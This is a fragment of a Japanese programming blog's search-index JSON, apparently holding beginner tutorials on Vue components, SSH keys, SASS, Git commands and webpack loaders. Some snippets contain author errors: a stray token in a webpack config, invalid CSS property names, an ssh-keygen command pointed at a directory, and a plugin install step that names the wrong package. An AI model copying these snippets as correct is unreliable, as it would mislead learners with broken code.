とりあえず、Vue.jsの基本機能は以上。\n","permalink":"https://pop-web.github.io/programming/vue-js/vue-basic/","summary":"\u003cp\u003eVue.jsの基本機能をまとめて説明。\u003c/p\u003e\n\u003ch1 id=\"dataオプション\"\u003edataオプション\u003c/h1\u003e\n\u003cp\u003edataオプションは、その名の通りデータを扱うオプション。\u003c/p\u003e\n\u003cp\u003e定義したデータは、テンプレート側（HTML）でマスタッシュ構文で展開することができる。\u003c/p\u003e","title":"【Vue】初心者向け基本機能まとめ①"},{"content":"Vue.jsでコンポーネントを定義する際に、グローバル登録とローカル登録の２パターンある。\nそれぞれ説明する。\nグローバル登録 グローバル登録するには、「Vue.componet」を使う。\n以下のように、Vueイスンスタスの前に定義する。\nJavaScript // コンポーネントのグローバル登録 Vue.component(\u0026#39;test-component\u0026#39;,{ template:\u0026#39;\u0026lt;p\u0026gt;Hello,Vue.js!\u0026lt;/p\u0026gt;\u0026#39; }) new Vue({ el: \u0026#39;#app\u0026#39; }) 「Vue.componet」では、第一引数にはコンポーネント名、第二引数にはテンプレートの内容を書く。\nDOMテンプレートでコンポーネントを使う場合、コンポーネント名はケバブケースで書くのがルール。\nこれはDOMテンプレートの場合、大文字、小文字をブラウザは区別しないためパスカルケースとった大文字を含むものはすべて小文字として解釈されてしまうため。\n※DOMテンプレートとは、.htmlファイルに記載されるhtmlテンプレートのこと。逆に.vueファイルに記載されるhtmlテンプレートのことを文字列テンプレートといい、こちらはVue側で大文字、小文字を解釈してくれるので区別がされる。\nHTML側でコンポーネントを出力する場合は、以下のようにする。\nHTML \u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; \u0026lt;test-component\u0026gt;\u0026lt;/test-component\u0026gt; \u0026lt;test-component\u0026gt;\u0026lt;/test-component\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script src=\u0026#34;https://cdn.jsdelivr.net/npm/vue/dist/vue.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; これで、「Hello,Vue.js!」が２つ表示できればOK。\nローカル登録 次にローカル登録を定義する。\nこちらも、Vueインスタンスの前に定義するが、コンポーネントを変数に格納しておく。\nコンポーネントを格納した変数をVueインスタンスのcomponentsオプションで設定する。\nこれで設定したVueインスタンスのみで利用できるものとなる。\nJavaScript const testComponent = { template:\u0026#39;\u0026lt;p\u0026gt;Hello,Vue.js!\u0026lt;/p\u0026gt;\u0026#39; } new Vue({ el: \u0026#39;#app\u0026#39;, components: { \u0026#39;test-component\u0026#39;: testComponent } }) HTML \u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; \u0026lt;test-component\u0026gt;\u0026lt;/test-component\u0026gt; \u0026lt;test-component\u0026gt;\u0026lt;/test-component\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script src=\u0026#34;https://cdn.jsdelivr.net/npm/vue/dist/vue.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; また、注意点としてtemplateで定義するHTML要素は単一でなければならない。\n以下、例。\nNG例： template:\u0026#39;\u0026lt;p\u0026gt;Hello,Vue.js!\u0026lt;/p\u0026gt;\u0026lt;p\u0026gt;Hello,Vue.js!\u0026lt;/p\u0026gt;\u0026#39; OK例： template:\u0026#39;\u0026lt;div\u0026gt;\u0026lt;p\u0026gt;Hello,Vue.js!\u0026lt;/p\u0026gt;\u0026lt;p\u0026gt;Hello,Vue.js!\u0026lt;/p\u0026gt;\u0026lt;/div\u0026gt;\u0026#39; ","permalink":"https://pop-web.github.io/programming/vue-js/vue-component-global-local/","summary":"\u003cp\u003eVue.jsでコンポーネントを定義する際に、グローバル登録とローカル登録の２パターンある。\u003c/p\u003e\n\u003cp\u003eそれぞれ説明する。\u003c/p\u003e\n\u003ch2 id=\"グローバル登録\"\u003eグローバル登録\u003c/h2\u003e\n\u003cp\u003eグローバル登録するには、「Vue.componet」を使う。\u003c/p\u003e","title":"【Vue】コンポーネントのグローバル登録とローカル登録"},{"content":"秘密鍵と公開鍵の作成手順を説明します。\nディレクトリ作成 ターミナルを起動する。\n鍵を補完する.sshディレクトリを作成。\n権限も適切に指定しておく\nmkdir ~/.ssh chmod 700 ~/.ssh キーの作成 以下のコマンドで作成\nssh-keygen -t rsa -C \u0026#34;your_name@host_name\u0026#34; -f ~/.ssh 「-C」オプションはコメントを指定できる。\n入れておくと、公開鍵の末尾に付けられるので誰の鍵だか分かりやすくなる。\nメールアドレスやホスト名にすることが多い。\n作成したら、ちゃんと秘密鍵と公開鍵が作成されていることを確認する。\nls ~/.ssh id_rsa id_rsa.pub id_rsaが秘密鍵で、id_rsa.pubが公開鍵なので間違えないように。\n公開鍵は、サーバの「.ssh/authorized_key」に追記してもらう。\nそうすると、秘密鍵を使って、サーバーへ公開鍵認証で接続することができる。\n","permalink":"https://pop-web.github.io/server/linux/ssh-keys/","summary":"\u003cp\u003e秘密鍵と公開鍵の作成手順を説明します。\u003c/p\u003e\n\u003ch1 id=\"ディレクトリ作成\"\u003eディレクトリ作成\u003c/h1\u003e\n\u003cp\u003eターミナルを起動する。\u003c/p\u003e\n\u003cp\u003e鍵を補完する.sshディレクトリを作成。\u003c/p\u003e\n\u003cp\u003e権限も適切に指定しておく\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003emkdir ~/.ssh\nchmod 700 ~/.ssh\n\u003c/code\u003e\u003c/pre\u003e\u003ch1 id=\"キーの作成\"\u003eキーの作成\u003c/h1\u003e\n\u003cp\u003e以下のコマンドで作成\u003c/p\u003e","title":"秘密鍵と公開鍵（SSH Keys）の作成方法"},{"content":"SASSとは 呼び方は「サス」or「サース」\nSyntactically Awesome StyleSheets（シンタクティクリー・オーサム・スタイルシート）の略。CSSのメタ言語（プリプロセッサ）。\nSyntactically = 構文的に Awesome = すばらしい StyleSheets = スタイルシート（CSS） 簡単にいうと、すごいCSS。\nCSSを作るときに色々と便利にしてくれるもの。\nなぜSASSを使うのか CSS作成時の効率化のアップのため。\nコード量が少なくてすむので、見やすい 保守性・メンテナンス性の向上 変数や関数などが使える 記法が2種類ある 記法にはSASS記法とSCSS記法があるが、現在はSCSS記法が使われるのが一般的。\n拡張子の違い 記法 拡張子 SASS .sass SCSS .scss 記法の違い SASSは、{}や;を省略してインデントだけで入れ子にしていく。\n一方、SCSSはCSSにかなり似た書き方ができる。\nSASS div margin: 0 auto p padding: 10px 20px span font-color: #ff0000 SCSS div { margin: 0 auto; p { padding: 10px 20px; span { font-color: #ff0000; } } } コンパイル方法 コンパイル方法は、様々ある。\nGulpやwebpackを使って、コンパイラーのモジュールをnpm（パッケージ管理ソフト）でインストールしてオートコンパイルさせるのが今では主流\n【参考】SASSコンパイルツール prepros sassmeister 【参考】css形式からsass形式にしたい css2sass SASSの基本機能 SASSの8つの基本機能について\n1.ネスト（入れ子） 入れ子にすることでまとまった書き方ができるので、見通しがよくメンテナンス性が高い\ndiv { margin: 0 auto; p { padding: 10px 20px; span { font-color: #ff0000; } \u0026amp;:hover{ text-decoration-line: underline; } } } 「\u0026amp;」（アンバサンド）セレクタ 「\u0026amp;」の場合は、ネストではなく親セラクタを参照し合成する。\n2.変数 SASSでは変数が使える。\n変数の宣言の書き方は、「$変数名: 値;」\n$primary_color:#ff0000; $fontSize:18px; .container{ background:$primary_color; font-size:$fontSize } 3.演算 四則演算ができます。\n$baseWidth:980px; .sub_content{ width:1000px - $baseWidth; } .container{ width: (680px / $baseWidth) * 100% } 4.継承（@extend） セレクタの内容を、他のセレクタにも適用できる。\n.button01{ background:#777; border:1px solid #ccc; color:white; } .button02{ @extend .button01; border-radius:10px; } 5.ミックスイン（@mixin） まとめたスタイルを使うことができる。引数の利用も可能。\nよく使うパターンとしてはメディアクエリの指定するときに多用される。\n・ブレークポイントの設定\n// ブレイクポイントを変数に格納、PCとSPのメディアクエリを配列で用意しておく $breakpoint: 767px; $breakpoints: ( \u0026#34;sp\u0026#34;: \u0026#34;screen and (max-width: #{$breakpoint})\u0026#34;, \u0026#34;pc\u0026#34;: \u0026#34;screen and (min-width: #{$breakpoint})\u0026#34; ); ・出力設定\n// 引数には初期設定ができる。引数がない場合、初期設定の値が適用される @mixin mq($breakpoint: sp) { @media #{map-get($breakpoints, $breakpoint)} { @content; } } ・mixinの使用する例\n// PCではフォントサイズ「18px」で、スマホでは「3.6vw」にしたい場合 span{ font-size:18px; @include mq(){ fonts-size:3.6vw; } } 6.インポート（@import） Sassファイルは、内容によってファイルを分割することができ、最終的に1つのファイルにまとめることができる。\n分割 Sassファイルを分割する場合、分割するファイルには**_(アンダースコア)から始まるファイル名**にする。\nこれは、パーシャルファイルといってコンパイルされない状態にすることができる。\nヘッダーとフッターと分ける場合、以下のようなファイル名になる。\n_header.scss → ヘッダーのスタイルが書かれているファイル _footer.scss → フッターのスタイルが書かれているファイル 統合 Sassファイルを一つにまとめるときには、以下のようにインポートしてまとめる。\nファイルを指定するときは、_(アンダースコア)と拡張子（.scss）は省略できる。\n@import \u0026#34;./common/header\u0026#34; @import \u0026#34;./common/footer\u0026#34; 7.条件分岐・繰り返し処理 プログラミングのように、条件分岐や繰り返し処理も使える\n条件分岐（@if） $basicColor: true; @if $basicColor { .content { color: red; } } @else { .content { color: white; } } 繰り返し処理（@for/@while/@each） @for $v from 0 through 100 { .mb#{$v} { margin-bottom: #{$v}px; } } 8.関数 プログラミングのように、関数も使うことができる\n//pxを%表示に変換する関数 $container: 1020px; @function percent($pixel) { @return floor(($pixel / $container) * 100%); } .sub_container { width: percent(150px); } ","permalink":"https://pop-web.github.io/programming/css/sass/","summary":"\u003ch1 id=\"sassとは\"\u003eSASSとは\u003c/h1\u003e\n\u003cp\u003e呼び方は「サス」or「サース」\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eS\u003c/strong\u003eyntactically \u003cstrong\u003eA\u003c/strong\u003ewesome \u003cstrong\u003eS\u003c/strong\u003etyle\u003cstrong\u003eS\u003c/strong\u003eheets（\u003cem\u003eシンタクティクリー・オーサム・スタイルシート\u003c/em\u003e）の略。CSSのメタ言語（プリプロセッサ）。\u003c/p\u003e","title":"【初心者向け】SASSについて徹底解説"},{"content":"Gitコマンドを学習していて、pushするときに以下のようなコマンドが良く出てくる\ngit push -u origin master このオプションの「-u」なにかということです。\nちなみに、originはリモート名（別名）で、masterはブランチ名（メインブランチ）です。\nオプション「-u」をつけると、次回から「git push」と実行するだけでorigin masterへpushできるようになります。\nさらに、pullも同様に「git pull origin master」を「git pull」といった感じで省略できるようになります。\n","permalink":"https://pop-web.github.io/programming/git/git-push-u/","summary":"\u003cp\u003eGitコマンドを学習していて、pushするときに以下のようなコマンドが良く出てくる\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003egit push -u origin master\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eこのオプションの「-u」なにかということです。\u003c/p\u003e\n\u003cp\u003eちなみに、originはリモート名（別名）で、masterはブランチ名（メインブランチ）です。\u003c/p\u003e","title":"【Gitコマンド】git push のオプション -u ってなに？"},{"content":"ファイルを変更した後、その変更と取り消したい場合のGitコマンドを説明します。\nまた、ステージに追加したファイルについて、一旦ステージの追加を取り消してからローカルのファイルの変更の取り消しを行います。\nローカルファイルの変更を取り消したい場合 # すべての変更を取り消す場合 git checkout -- . #　ファイル名指定の場合 git checkout -- [ファイル名] # ディレクトリ名指定の場合 git checkout -- [ディレクトリ名] 追加したファイルに関しては、上記のコマンドでは取り消せないので以下のコマンドを入力。\n# 追加したファイルを取り消し git clean -f [ファイル名] # 追加したファイルとディレクトリすべてを取り消し git clean -df . ステージへ追加を取り消したい場合 # ステージへ追加したファイルをすべて取り消す場合 git reset HEAD . #　ファイル名指定の場合 git reset HEAD [ファイル名] # ディレクトリ名指定の場合 git reset HEAD [ディレクトリ名] 「git reset HEAD」は、ステージ追加の取り消しをするだけなので、ローカルファイルの変更の取り消しまでしたい場合は、「git reset HEAD」コマンドを実行した後に、前述した「git checkout \u0026ndash;」コマンドを実行する必要があります。\n","permalink":"https://pop-web.github.io/programming/git/git-cancel/","summary":"\u003cp\u003eファイルを変更した後、その変更と取り消したい場合のGitコマンドを説明します。\u003c/p\u003e\n\u003cp\u003eまた、ステージに追加したファイルについて、一旦ステージの追加を取り消してからローカルのファイルの変更の取り消しを行います。\u003c/p\u003e","title":"【Gitコマンド】ファイル変更の取り消し方法"},{"content":"ファイルをGitの管理外するには？ 以下、2点について説明します。\n.gitignoreファイルを作成して管理外にする方法 .gitignoreファイルを作成または、書くのを忘れてコミットしたファイルを管理外にする方法 .gitignoreファイルを作成 .gitignoreファイルに書かれたファイル名・ディレクトリ名はGitの管理外になり、コミットされません。\n書き方は以下のようになります\n# .envファイルを除外 .env # node_modulesディレクトリを除外 node_modules/ .gitignoreファイルに記載するのを忘れた場合 .gitignoreファイルに書くのを忘れて、コミットした後の場合は\n以下のようなコマンドで除外できます。\ngit rmで除外 # ファイルごと削除の場合 git rm [対象ファイル名] # ディレクトリごと削除の場合 git rm -r [対象ディレクトリ名] 上記二つの場合だと、Git管理下から除外されますが、ローカルの対象ファイルも削除されます。\nローカルにはファイルを残してGitの管理だけ除外したい場合 Gitの管理だけ除外したい場合は、以下のコマンド\ngit rm --cached [対象ファイル名] ※この場合、.gitignoreファイルの追記も忘れずに\n","permalink":"https://pop-web.github.io/programming/git/git-rm/","summary":"\u003ch1 id=\"ファイルをgitの管理外するには\"\u003eファイルをGitの管理外するには？\u003c/h1\u003e\n\u003cp\u003e以下、2点について説明します。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e.gitignoreファイルを作成して管理外にする方法\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e.gitignoreファイルを作成または、書くのを忘れてコミットしたファイルを管理外にする方法\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"gitignoreファイルを作成\"\u003e.gitignoreファイルを作成\u003c/h2\u003e\n\u003cp\u003e.gitignoreファイルに書かれたファイル名・ディレクトリ名はGitの管理外になり、コミットされません。\u003c/p\u003e","title":"【Gitコマンド】管理したくないファイルを管理外にする"},{"content":"Gitをインストールしたら、まずやっておくべき初期設定です。\nユーザ情報の登録 git config --global user.name \u0026#34;user name\u0026#34; git config --global user.email \u0026#34;mail@example.jp\u0026#34; 設定内容の確認\ngit config --global -l とえあえず、はじめにこれをやっておきましょう。\n","permalink":"https://pop-web.github.io/programming/git/git-nitial-setting/","summary":"\u003cp\u003eGitをインストールしたら、まずやっておくべき初期設定です。\u003c/p\u003e\n\u003ch1 id=\"ユーザ情報の登録\"\u003eユーザ情報の登録\u003c/h1\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003egit config --global user.name \u0026#34;user name\u0026#34;\n\u003c/code\u003e\u003c/pre\u003e\u003cpre tabindex=\"0\"\u003e\u003ccode\u003egit config --global user.email \u0026#34;mail@example.jp\u0026#34;\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e設定内容の確認\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003egit config --global -l\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eとえあえず、はじめにこれをやっておきましょう。\u003c/p\u003e","title":"Gitの初期設定、やったほうがいい設定など"},{"content":"前回記事の続きです。\nスタイルシートを分離するプラグイン これまでは、スタイルシートはHTML内のヘッダー内に記述されてきました。\nファイルを分けて分離させたいときは、「mini-css-extract-plugin」というプラグインを使っていきます。\nインストールしていきます。\nnpm info mini-css-extract-plugin npm i -D mini-css-extract-plugin@0.8.0 webpack.config.jsを編集 webpack.config.jsを編集します。\nrequireでプラグインを読み込んで、plugins:の配列に記述します。\nconst path = require(\u0026#39;path\u0026#39;) const MiniCssExtractPlugin = require(\u0026#39;mini-css-extract-plugin\u0026#39;) //プラグインを読込 const outputPath = path.resolve(__dirname,\u0026#39;dist\u0026#39;) module.exports = { entry:\u0026#39;./src/index.js\u0026#39;, output:{ filename:\u0026#39;main.js\u0026#39;, path:outputPath }, module:{ rules:[ { test:/\\.(sc|c)ss$/, use: [ MiniCssExtractPlugin.loader, //style-loaderの代わりにMiniCssExtractPluginのloaderを追記 \u0026#39;css-loader\u0026#39;, \u0026#39;sass-loader\u0026#39; ] } ] }, \u0026#34;devServer\u0026#34;: { contentBase:outputPath }, // プラグインに追加 plugins: [ new MiniCssExtractPlugin({ filename: \u0026#39;[name].[hash].css\u0026#39; }) ] op } 「filename: \u0026lsquo;[name].[hash].css\u0026rsquo;」の[name]にはmain、[hash]には適当なハッシュ値が入ります。\nハッシュ値はキャッシュ対策として入れます。\nビルドする それでは、ビルドしてcssファイルが生成されるが確認します。\n以下のコマンドを入力して実行\nnpx webpack --mode development そうすると、distディレクトリの中にcssファイルが出力されていると思います。\nファイル名にもハッシュ値が付与されていることが確認できればOKです。\nCSSファイルを圧縮するには？ CSSファイルを圧縮するには「optimize-css-assets-webpack-plugin」というプラグインを使っていきます。\nインスールします。\nnpm i -D optimize-css-assets-webpack-plugin webpack.config.jsを編集 webpack.config.jsを編集します。\n以下のように、\nconst OptimizeCssAssetsPluginと、optimization:のところに追記してあげます。\nconst path = require(\u0026#39;path\u0026#39;) const MiniCssExractPlugin = require(\u0026#39;mini-css-extract-plugin\u0026#39;) const HtmlWebpackPlugin = require(\u0026#39;html-webpack-plugin\u0026#39;) //インストールしたプラグインを取り込む const OptimizeCssAssetsPlugin = require(\u0026#39;optimize-css-assets-webpack-plugin\u0026#39;) const outputPath = path.resolve(__dirname,\u0026#39;dist\u0026#39;) module.exports = { entry:\u0026#39;./src/index.js\u0026#39;, output:{ filename:\u0026#39;main.js\u0026#39;, path:outputPath }, module:{ rules:[ { test:/\\.(sc|c)ss$/, use: [ MiniCssExractPlugin.loader, \u0026#39;css-loader\u0026#39;, \u0026#39;sass-loader\u0026#39; ] }, { test:/\\.html$/, loader:\u0026#39;html-loader\u0026#39; } ] }, devServer: { contentBase:outputPath }, plugins:[ new HtmlWebpackPlugin({ template:\u0026#39;./src/index.html\u0026#39;, filename:\u0026#39;index.html\u0026#39; }), new MiniCssExractPlugin({ filename:\u0026#39;[name].[hash].css\u0026#39; }) ], //optimizationに追記 optimization:{ minimizer:[ new OptimizeCssAssetsPlugin({}) ] } } 設定が終わったらビルドして確認します。\nビルドするときは、productionモードでビルドしてあげます。\nnpx webpack --mode production そうすると、distディレクトリに圧縮されたcssファイルが生成できています。\nまとめ webpackでcssファイルを別出力する\u0026amp;圧縮する方法は以上です。\n","permalink":"https://pop-web.github.io/programming/webpack/beginner-webpack-04/","summary":"\u003cp\u003e\u003ca href=\"https://blog.pop-web.net/programming/beginner-webpack-03/\"\u003e前回記事\u003c/a\u003eの続きです。\u003c/p\u003e\n\u003ch2 id=\"スタイルシートを分離するプラグイン\"\u003eスタイルシートを分離するプラグイン\u003c/h2\u003e\n\u003cp\u003eこれまでは、スタイルシートはHTML内のヘッダー内に記述されてきました。\u003c/p\u003e\n\u003cp\u003eファイルを分けて分離させたいときは、「mini-css-extract-plugin」というプラグインを使っていきます。\u003c/p\u003e","title":"【初心者向け】webpackとは？使い方を解説④-css分離化\u0026圧縮化"},{"content":"前回記事の続きです。\nBabelの導入ついてです。\nwebpackのBabelの設定についは以下の公式サイトでも解説があります。\nhttps://babeljs.io/setup#installation\n飛び先で「webpack」を選択すれば手順がみれます。\nBabelとは Babelはトランスパイラというツールで、バージョンが新しいJavaScript（ES6など）の場合、新しい記法で書いたときにそれに対応していないブラウザだと、うまく動作しません。\nBabelは、そんなモダンなJavaScriptの記法でも対応できるように変換してくれるツールです。\n必要なものをインスールしていく 最新版を確認し、以下の3つをインストールします。\nnpm i -D babel-loader @babel/core @babel/preset-env .babelrcを作成 先ほどインストールした@babel/preset-envを有効するには、.babelrcが必要なので作成します。\ntouch .babelrc 以下のように編集。\n{ \u0026#34;presets\u0026#34;: [\u0026#34;@babel/preset-env\u0026#34;] } webpack.config.jsの編集 以下を、module:{}のrules:[]内に追記。\n以上、省略… { test: /\\.js$/, exclude: /node_modules/, loader: \u0026#34;babel-loader\u0026#34; }, 以下、省略… それでは、npm webpackでコンパイルします。\nそうすると、main.jsが更新されます。\nみてみると、ES2015(ES6)で導入されたconstが、varに変換されていたりとちゃんと変換されているのが分かります。\nまとめ モダンなJavaScriptフレームワークのReactやVueは、ES2015(ES6)以降の記述で書かれているので、Babelの導入は必須になります。\nとりあえず、基本的なBabelの設定は以上です。\nまた次に続きます↓\nhttps://blog.pop-web.net/programming/webpack/beginner-webpack-04/\n","permalink":"https://pop-web.github.io/programming/webpack/beginner-webpack-03/","summary":"\u003cp\u003e\u003ca href=\"https://blog.pop-web.net/programming/beginner-webpack-02/\"\u003e前回記事\u003c/a\u003eの続きです。\u003c/p\u003e\n\u003cp\u003eBabelの導入ついてです。\u003c/p\u003e\n\u003cp\u003ewebpackのBabelの設定についは以下の公式サイトでも解説があります。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://babeljs.io/setup#installation\"\u003ehttps://babeljs.io/setup#installation\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e飛び先で「webpack」を選択すれば手順がみれます。\u003c/p\u003e","title":"【初心者向け】webpackとは？使い方を解説③-Babel設定"},{"content":"前回の記事の第2弾です。\nwebpackにJavaScriptファイルをバンドルする機能以外にも様々な便利機能があります。\nLoaderについて解説します。\nLoader（ローダー）とは？ JavaScript以外のファイルをJavaScriptとして扱えるようにする機能です。\nLoaderでCSSを扱う css-loaderのインストール 「css-loader」でcssファイルをJavaScriptのオブジェクトとしてして扱えるようにできます。\nインストールをします。\nnpm info css-loader //最新版の確認 npm i -D css-loader@3.2.0 //インストール webpack.config.jsに設定を記載していきます。\nローダー登録には、moduleプロパティに以下のように書きます。\nconst path = require(\u0026#39;path\u0026#39;) const outputPath = path.resolve(__dirname,\u0026#39;dist\u0026#39;) module.exports = { entry:\u0026#39;./src/index.js\u0026#39;, output:{ filename:\u0026#39;main.js\u0026#39;, path:outputPath }, module:{ rules:[ { test:/\\.css$/, //testには正規表現でcss拡張子を設定 use:[\u0026#39;css-loader\u0026#39;] //useには使用するローダーを設定 } ] }, devServer: { contentBase:outputPath } } cssファイルを作成する touch src/style.css 以下のように編集\n.bdy-color{ background:#b3ff66; color: #ff1e74; } JavaScriptにインポートします。\nindex.jsへ以下のようにスタイルシートをimportさせます。\nimport $ from \u0026#39;jquery\u0026#39; import \u0026#39;./style.css\u0026#39; //作成したstyle.cssをインポート $(function () { $(\u0026#39;body\u0026#39;).prepend(\u0026#39;\u0026lt;p\u0026gt;Hello,webpack!\u0026lt;/p\u0026gt;\u0026#39;) }) style-loaderをインストール これで、スタイルシートをimportさせることができたのですが、\nこのスタイルシートをindex.htmlに適用されるには、もうひとつローダーが必要で「style-loader」というものをインストールします。\nnpm info style-loader //最新版の確認 npm i -D style-loader@1.0.0 //インストール webpack.config.jsを編集 それでは次に、webpack.config.jsのuseにstyle-loaderを追加します。\nここで、注意点としては「css-loader」の上に「style-loader」を書いて下さい。\nなぜなら、ローダーは下から上に順番に実行されていくからです。\nこの場合、「css-loader」でstyle.cssをJavaScriptのオブジェクトとして扱えるようにしてから、「style-loader」でスタイルタグとしてそれを読み込むという順序になります。\n逆にすると上手くいかないので注意です。\nconst path = require(\u0026#39;path\u0026#39;) const outputPath = path.resolve(__dirname,\u0026#39;dist\u0026#39;) module.exports = { entry:\u0026#39;./src/index.js\u0026#39;, output:{ filename:\u0026#39;main.js\u0026#39;, path:outputPath }, module:{ rules:[ { test:/\\.css$/, use: [ \u0026#39;style-loader\u0026#39;, //style-loaderを追記（※css-loaderの上に！） \u0026#39;css-loader\u0026#39; ] } ] }, devServer: { contentBase:outputPath } } 次に、index.jsを編集します。\n以下のように、bodyタグにクラス名「bdy-color」を付与させるようにします。\nimport $ from \u0026#39;jquery\u0026#39; import \u0026#39;./style.css\u0026#39; $(function () { $(\u0026#39;body\u0026#39;).prepend(\u0026#39;\u0026lt;p\u0026gt;Hello,webpack!\u0026lt;/p\u0026gt;\u0026#39;) }) document.body.classList.add(\u0026#39;bdy-color\u0026#39;) //bodyタグにクラス名「bdy-color」を付与 これで、npm run startを実行してブラウザで確認します。\nCSSが適用されて背景色が緑で、文字がピンクになっていればOKです。\nLoaderでSASSを扱う sass-loaderのインストール sassファイルをJavaScriptオブジェクトとして扱うためローダーです。\nインストールします。\nnpm info sass-loader //最新版の確認 npm i -D sass-loader@7.2.0 //インストール 次に、sassをcssにコンパイルするためのローダーであるnode-sassインストールします。\nnpm info node-sass //最新版の確認 npm i -D node-sass@4.12.0 //インストール webpack.config.jsを編集 useに「\u0026lsquo;sass-loader\u0026rsquo;」を追記します。\nここでも注意点としては、ローダーは下から上へ処理されていくので、sass-loaderは一番初めに処理させたいので、一番下に記載します。\nconst path = require(\u0026#39;path\u0026#39;) const outputPath = path.resolve(__dirname,\u0026#39;dist\u0026#39;) module.exports = { entry:\u0026#39;./src/index.js\u0026#39;, output:{ filename:\u0026#39;main.js\u0026#39;, path:outputPath }, module:{ rules:[ { test:/\\.(sc|c)ss$/, //正規表現でcss、scssのどちらも適用されるように use: [ \u0026#39;style-loader\u0026#39;, \u0026#39;css-loader\u0026#39;, \u0026#39;sass-loader\u0026#39; //sass-loaderを追記（※一番下に記載） ] } ] }, devServer: { contentBase:outputPath } } scssファイルを作成 touch src/style.scss sassでは変数が使用できるので、\n以下のように編集しておきます。\n$big-font:100px; $font-style:italic; .bdy-color{ font-size: $big-font; font-style: $font-style; } 次に、index.jsを編集します。\nindex.jsへ以下のようにsassファイルをimportさせます。\nimport $ from \u0026#39;jquery\u0026#39; import \u0026#39;./style.css\u0026#39; import \u0026#39;./style.scss\u0026#39; //作成したsassファイルをインポート $(function () { $(\u0026#39;body\u0026#39;).prepend(\u0026#39;\u0026lt;p\u0026gt;Hello,webpack!\u0026lt;/p\u0026gt;\u0026#39;) }) document.body.classList.add(\u0026#39;bdy-color\u0026#39;) それでは、npm run startをしてブラウザで確認します。\nscssファイルで設定したように、文字が大きくなり斜体文字になっていればOKです。\nLoaderで画像を扱う 画像を用意 srcの中に、適当に画像を用意しておきます。\nsrc/sample.jpg url-loaderのインストール 画像ファイルをJavaScriptオブジェクトとして扱うためローダーです。\nインストールします。\nnpm info url-loader //最新版の確認 npm i -D url-loader@2.1.0 //インストール 次に、sassをcssにコンパイルするためのローダーであるnode-sassインストールします。\nwebpack.config.jsを編集 moduleのなかのrulesに追記します。\n以上、省略… { test:/\\.(gif|jpe?g|png|svg|ico)$/i, loader: \u0026#39;url-loader\u0026#39; } 以下、省略… 次に、index.jsを編集していきます。\nimport $ from \u0026#39;jquery\u0026#39; import \u0026#39;./style.css\u0026#39; import \u0026#39;./style.scss\u0026#39; import photo from \u0026#39;./sample.jpg\u0026#39; $(function () { $(\u0026#39;body\u0026#39;).prepend(\u0026#39;\u0026lt;p\u0026gt;Hello, webpack!!\u0026lt;/p\u0026gt;\u0026#39;) }) document.body.classList.add(\u0026#39;bdy-color\u0026#39;) //imgタグをbodyに挿入 const image = new Image() image.src = photo document.body.appendChild(image) それでは、npm run startをしてブラウザで確認します。\n画像が挿入されていればOKです。\nここで、ソースを見るとimgタグにはbase64でエンコードされた文字列データとして使用されていることが分かります。\nbase64でエンコードすることでサーバへのリクエストが減り表示速度が速くなる利点がありますが、\n大きな画像になるほど、Base64にエンコードされた文字列は増えていくため、逆にファイルが重くなります。\nそこで、base64ではなくて、通常の画像パスを読み込む形式に変えてくれる「file-loader」がローダーがあります。\nfile-loaderをインストール npm info file-loader npm i -D file-loader@4.2.0 webpack.config.jsを編集 url-loaderの設定内にoptionsを追加し、file-loaderを有効にします。\n以上、省略… { test:/\\.(gif|jpe?g|png|svg|ico)$/i, loader: \u0026#39;url-loader\u0026#39;, //optionsを追記 options: { limit:1024, //閾値は、1キロバイト以上に設定 name:\u0026#39;./images/[name].[ext]\u0026#39; //画像ファイルを分離して読込む } } 以下、省略… limitは容量を指定して、これ以上の容量だったらnameで設定した画像パスにになるといった感じです。\nLoaderでHTMLファイルを扱う HTMLファイルをローダーで扱うには、「html-loader」を使用します。\nインストールします。\nnpm info html-loader npm i -D html-loader@0.5.5 次に、HTMLを生成するためのプラグインをインストールします。\nnpm info html-webpack-plugin npm i -D html-loader@0.5.5 webpack.config.jsを編集 html-loaderとプラグインの設定を以下のように行います。\nconst path = require(\u0026#39;path\u0026#39;) // プラグインの読み込み const HtmlWebPackPlugin = require(\u0026#39;html-webpack-plugin\u0026#39;) const outputPath = path.resolve(__dirname,\u0026#39;dist\u0026#39;) module.exports = { entry:\u0026#39;./src/index.js\u0026#39;, output:{ filename:\u0026#39;main.js\u0026#39;, path:outputPath }, module:{ rules:[ { test:/\\.(sc|c)ss$/, use: [ \u0026#39;style-loader\u0026#39;, \u0026#39;css-loader\u0026#39;, \u0026#39;sass-loader\u0026#39; ] }, //html-loaderの設定 { test:/\\.html$/, loader:\u0026#39;html-loader\u0026#39; } ] }, devServer: { contentBase:outputPath }, // プラグインの設定 plugins:[ new HtmlWebPackPlugin({ template:\u0026#39;./src/index.html\u0026#39;, filename:\u0026#39;./index.html\u0026#39; }) ], devtool:\u0026#39;source-map\u0026#39; } プラグインの設定では、「template」には、ひな形となるhtmlファイルの設定。\n「filename」に出力時のファイル名を設定します。\nテンプレートとなるhtmlファイルを作成 テンプレートとなるhtmlファイルを作成します。\ntouch src/index.html 以下のように編集しておきます。\n\u0026lt;!doctype html\u0026gt; \u0026lt;html lang=\u0026#34;ja\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; \u0026lt;title\u0026gt;Hello,World!\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; 